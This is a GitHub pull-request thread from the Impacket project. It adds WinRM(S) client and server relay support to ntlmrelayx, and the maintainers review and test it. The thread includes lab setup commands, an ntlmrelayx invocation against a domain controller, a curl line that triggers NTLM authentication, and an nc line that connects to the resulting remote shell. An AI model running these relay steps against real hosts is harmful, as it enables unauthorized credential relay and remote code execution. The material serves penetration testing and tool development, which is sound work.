Skip to content

Conversation

@Dfte
Copy link
Contributor

@Dfte Dfte commented Jun 21, 2025

Hello,

First of all sorry, I kinda screwed with my branches and purged the previous PR. Here is the PR again which adds a new relay capability allowing us to relay SMB/LDAP/HTTP NTLM (v1 or unsecured ones) authentications to the WinRM HTTPS endpoint. This will especially be useful if:

  • NTLMv1 is activated (natively or via downgrade attacks) ;
  • MITM allows redirecting legitimate WinRM connections to our listener ;
  • WinRM listener is configured to not support CBT (CBT=None).

This endpoint is not configured on a default server installation but it is not protected by Channel Binding once configured by a sysadmin which makes it a possible great relay alternative for remote code executino.

Default action creates an interactive TCP shell that can be used via NC (socks is also implemented):

image

I'm adding @dadevel's comment as well, for anybody wanting to play with this PR, you can setup the WinRMS endpoint that way:

New-SelfSignedCertificate -Subject 'CN=dc01.corp.local' -TextExtension '2.5.29.37={text}1.3.6.1.5.5.7.3.1'c
winrm create 'winrm/config/Listener?Address=*+Transport=HTTPS' '@{Hostname="dc01.corp.local"; CertificateThumbprint="9592A6D026E71AFFA17049D16D74AA7C47A89788"}'
New-NetFirewallRule -DisplayName 'WinRM HTTPS' -Direction 'Inbound' -LocalPort 5986 -Protocol 'TCP' -Action 'Allow' -Program 'System'

Don't forget to change the computer name and the certificate thumbprint

Start relay server.

ntlmrelayx.py -debug --no-smb-server --no-wcf-server --no-raw-server -t winrms://dc01.corp.local

Trigger authentication.

curl http://localhost -u 'corp\administrator:passw0rd' --ntlm

And get a shell:

nc -v 127.0.0.1 11000

@Dfte Dfte force-pushed the ntlmrelayx_winrm branch from edf282f to b498b66 Compare June 21, 2025 20:34
@Dfte Dfte changed the title Add new relay capabilities from and to WinRM(S) Implements WinRM(S) to NTLMRelayX Jun 21, 2025
@Dfte Dfte changed the title Implements WinRM(S) to NTLMRelayX [NTLMRELAYX] Implements WinRM(S) clients/server Jun 21, 2025
@anadrianmanrique anadrianmanrique added the medium Medium priority item label Jun 26, 2025
@anadrianmanrique anadrianmanrique self-assigned this Jun 26, 2025
@Dfte Dfte closed this Jul 7, 2025
@Dfte Dfte deleted the ntlmrelayx_winrm branch July 7, 2025 19:03
@anadrianmanrique
Copy link
Collaborator

@Dfte why you closed this one ?

@Dfte Dfte restored the ntlmrelayx_winrm branch July 7, 2025 19:44
@Dfte
Copy link
Contributor Author

Dfte commented Jul 7, 2025

Omg I did it again T-T

@Dfte Dfte reopened this Jul 7, 2025
@anadrianmanrique
Copy link
Collaborator

@Dfte thanks for reopening again the PR :) . There are some conflicts to be resolved after #1974. Would you mind checking it? thanks

@Dfte
Copy link
Contributor Author

Dfte commented Jul 8, 2025

I will do ASAP :)!

@Dfte
Copy link
Contributor Author

Dfte commented Jul 11, 2025

Done @anadrianmanrique :)!

@anadrianmanrique
Copy link
Collaborator

@Dfte I was able to test successfully http->winrms and smb->winrms. However, this scenario seems to trigger some issues:
authentication

└─$ evil-winrm -i 127.0.0.1 -u localhost

ntlmrelayx output


[*] Servers started, waiting for connections
[+] Exception:
Traceback (most recent call last):
  File "/home/kali/impacket/1987/impacket/impacket/examples/ntlmrelayx/servers/winrmrelayserver.py", line 161, in strip_blob
    _, blob = typeX.split('NTLM')
    ^^^^^^^
ValueError: not enough values to unpack (expected 2, got 1)
[+] WinRM(5985): Exception:
Traceback (most recent call last):
  File "/home/kali/impacket/1987/impacket/impacket/examples/ntlmrelayx/servers/winrmrelayserver.py", line 77, in handle_one_request
    http.server.SimpleHTTPRequestHandler.handle_one_request(self)
  File "/usr/lib/python3.12/http/server.py", line 424, in handle_one_request
    method()
  File "/home/kali/impacket/1987/impacket/impacket/examples/ntlmrelayx/servers/winrmrelayserver.py", line 240, in do_POST
    return self.do_GETPOST()
           ^^^^^^^^^^^^^^^^^
  File "/home/kali/impacket/1987/impacket/impacket/examples/ntlmrelayx/servers/winrmrelayserver.py", line 267, in do_GETPOST
    token, messageType = self.strip_blob(proxy)
                         ^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/impacket/1987/impacket/impacket/examples/ntlmrelayx/servers/winrmrelayserver.py", line 169, in strip_blob
    return token, messageType
           ^^^^^
UnboundLocalError: cannot access local variable 'token' where it is not associated with a value

also, I wasn't able to relay either http or smb1 => winrm

└─$ python3 ntlmrelayx.py --no-smb-server --no-wcf-server --no-raw-server -debug -t winrm://dc19.vb.local
Cannot determine Impacket version. If running from source you should at least run "python setup.py egg_info"
Impacket v? - Copyright Fortra, LLC and its affiliated companies

[+] Impacket Library Installation Path: /home/kali/impacket/1987/impacket/impacket
[*] Protocol Client RPC loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client WINRM loaded..
[*] Protocol Client WINRMS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client DCSYNC loaded..
[+] Protocol Attack WINRMS loaded..
[+] Protocol Attack LDAP loaded..
[+] Protocol Attack LDAPS loaded..
[+] Protocol Attack HTTP loaded..
[+] Protocol Attack HTTPS loaded..
[+] Protocol Attack MSSQL loaded..
[+] Protocol Attack SMB loaded..
[+] Protocol Attack DCSYNC loaded..
[+] Protocol Attack IMAP loaded..
[+] Protocol Attack IMAPS loaded..
[+] Protocol Attack RPC loaded..
[*] Running in relay mode to single host
[*] Setting up HTTP Server on port 80
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled

[*] Servers started, waiting for connections
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from 127.0.0.1 controlled, attacking target winrm://dc19.vb.local
[*] HTTPD(80): Client requested path: /
[-] Authenticating against winrm://dc19.vb.local as VB.LOCAL/LOCALUSER FAILED

@anadrianmanrique anadrianmanrique added the waiting for response Further information is needed from people who opened the issue or pull request label Jul 24, 2025
@Dfte
Copy link
Contributor Author

Dfte commented Jul 24, 2025

Ah so you cannot relay to WinRM actually. The reason is that WinRM packets are encrypted using the password of the user... You can only relay to WinRMS (if CBT is deactivated, or ntlmv1 is activated).

Concerning evil-winrm if I remember correctly it relies on Negotiate which means that by design it prefers Kerberos over NTLM thus the error. But anyway, relaying to winrm won't work...

@anadrianmanrique
Copy link
Collaborator

@Dfte thanks for your response.

  • For winrm relaying: as you said it's not possible, would it be better to implement winrms plugin only, in order to avoid processing winrm scheme targets?
  • I couldn't find a way to test successfully winrm/winrms server. I tried https://github.com/ozelis/winrmexec in order to login through ntlm. In all cases I'm getting a similar stackstrace to the posted previous one. Can you provide some method to test the servers? Also, would it be possible to avoid the stacktrace in scenarios were non ntlm auth has been requested by the client?

Thanks

@anadrianmanrique
Copy link
Collaborator

posting for the record https://sensepost.com/blog/2025/is-tls-more-secure-the-winrms-case./ as a reference

@Dfte
Copy link
Contributor Author

Dfte commented Jul 26, 2025

You are right, I will remove the winrmclient as it cannot be used anyway. I will keep the winrmserver tho.
Also I'll check everything again with the servers. It used to work but may be I f*cked up something while reopening the merge request :)!

@Dfte
Copy link
Contributor Author

Dfte commented Aug 1, 2025

Helloooooo!

So I have:

  • Merged the winrm client into the winrms client so that only the winrms exists 👍
image
  • Patched the winrmrelayserver and winrmsrelayserver so that they can parse the NTLMSSP_Negotiate message if it relies on Negotiate instead of NTLM:
image

Altogether, you can use evil-winrm to connect to ntlmrelayx which will relay correctly to your target server :)!

Let me know if it's good!

@anadrianmanrique
Copy link
Collaborator

@Dfte thanks for the changes. I've been able to successfully relay winrm/winrms using evil-winrm. However, I have a couple of questions:

  • trying to relay to LDAP I've got

[*] WinRMS(5986): Connection from 127.0.0.1 controlled, attacking target ldap://dc19.vb.local [!] The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)
is there any scenario where signing for winrm is off? I couldn't find documentation regarding this

  • trying winrmexec I wasn't able to relay at all
    [+] WinRMS(5986): Exception: Traceback (most recent call last): File "/home/kali/impacket/1987/impacket/impacket/examples/ntlmrelayx/servers/winrmsrelayserver.py", line 108, in handle_one_request http.server.SimpleHTTPRequestHandler.handle_one_request(self) File "/usr/lib/python3.12/http/server.py", line 404, in handle_one_request self.raw_requestline = self.rfile.readline(65537) ^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/lib/python3.12/socket.py", line 720, in readinto return self._sock.recv_into(b) ^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/lib/python3.12/ssl.py", line 1251, in recv_into return self.read(nbytes, buffer) ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/lib/python3.12/ssl.py", line 1103, in read return self._sslobj.read(len, buffer) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ssl.SSLError: [SYS] unknown error (_ssl.c:2570)
    I know winrmexec implementation might not be fully compliant, but I think it might be worth to understand what it's happening here.

Lastly, I left a couple of minor suggestion in code review. Aside from that, PR should be ready to be merged. Thanks!

self.address_family = socket.AF_INET6
# Tracks the number of times authentication was prompted for WPAD per client
self.wpad_counters = {}
socketserver.TCPServer.__init__(self,server_address, RequestHandlerClass)
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

add socketserver.TCPServer.allow_reuse_address in order to allow rebind to the listening port in TIME_WAIT state

if self.config.ipv6:
self.address_family = socket.AF_INET6
self.wpad_counters = {}

Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

add socketserver.TCPServer.allow_reuse_address in order to allow rebind to the listening port in TIME_WAIT state

@anadrianmanrique
Copy link
Collaborator

@Dfte any news with this? we are approaching code stabilization phase before 0.13 release, so I wanted to have some visibility on this. Thanks!

@Dfte
Copy link
Contributor Author

Dfte commented Sep 5, 2025

Hey mate! I just came back from vacation, will take a look at it monday ! :)

@anadrianmanrique
Copy link
Collaborator

@Dfte Thank you!

@Dfte
Copy link
Contributor Author

Dfte commented Sep 8, 2025

Heyo!

So I have added the allow_reuse option to both winrm/Srelayserver.

Concerning the LDAP relay, yes it is not unsually because pywinrm, for example, asks for signing by default. Hence the error. But that doesn't mean all clients will which is mostly the reason why I wanted to merge these servers (that and ntlmv1).

Concerning winrmexec.py, I cannot coerce neither so there is something wrong in its implementation for sure.

@Dfte
Copy link
Contributor Author

Dfte commented Sep 8, 2025

Actually I don't have any error at all except this: debug message:
image

So I'd say there is something to look after but considering that both evil-winrm and pywinrm work, I'm not really keen looking after the bug. At least not in that PR. I'll pin this one on the winrmexec.py PR :)! #2033

@anadrianmanrique
Copy link
Collaborator

PR is ready to merge now. Thanks!

@anadrianmanrique anadrianmanrique merged commit a6eac51 into fortra:master Sep 8, 2025
7 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

medium Medium priority item waiting for response Further information is needed from people who opened the issue or pull request

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants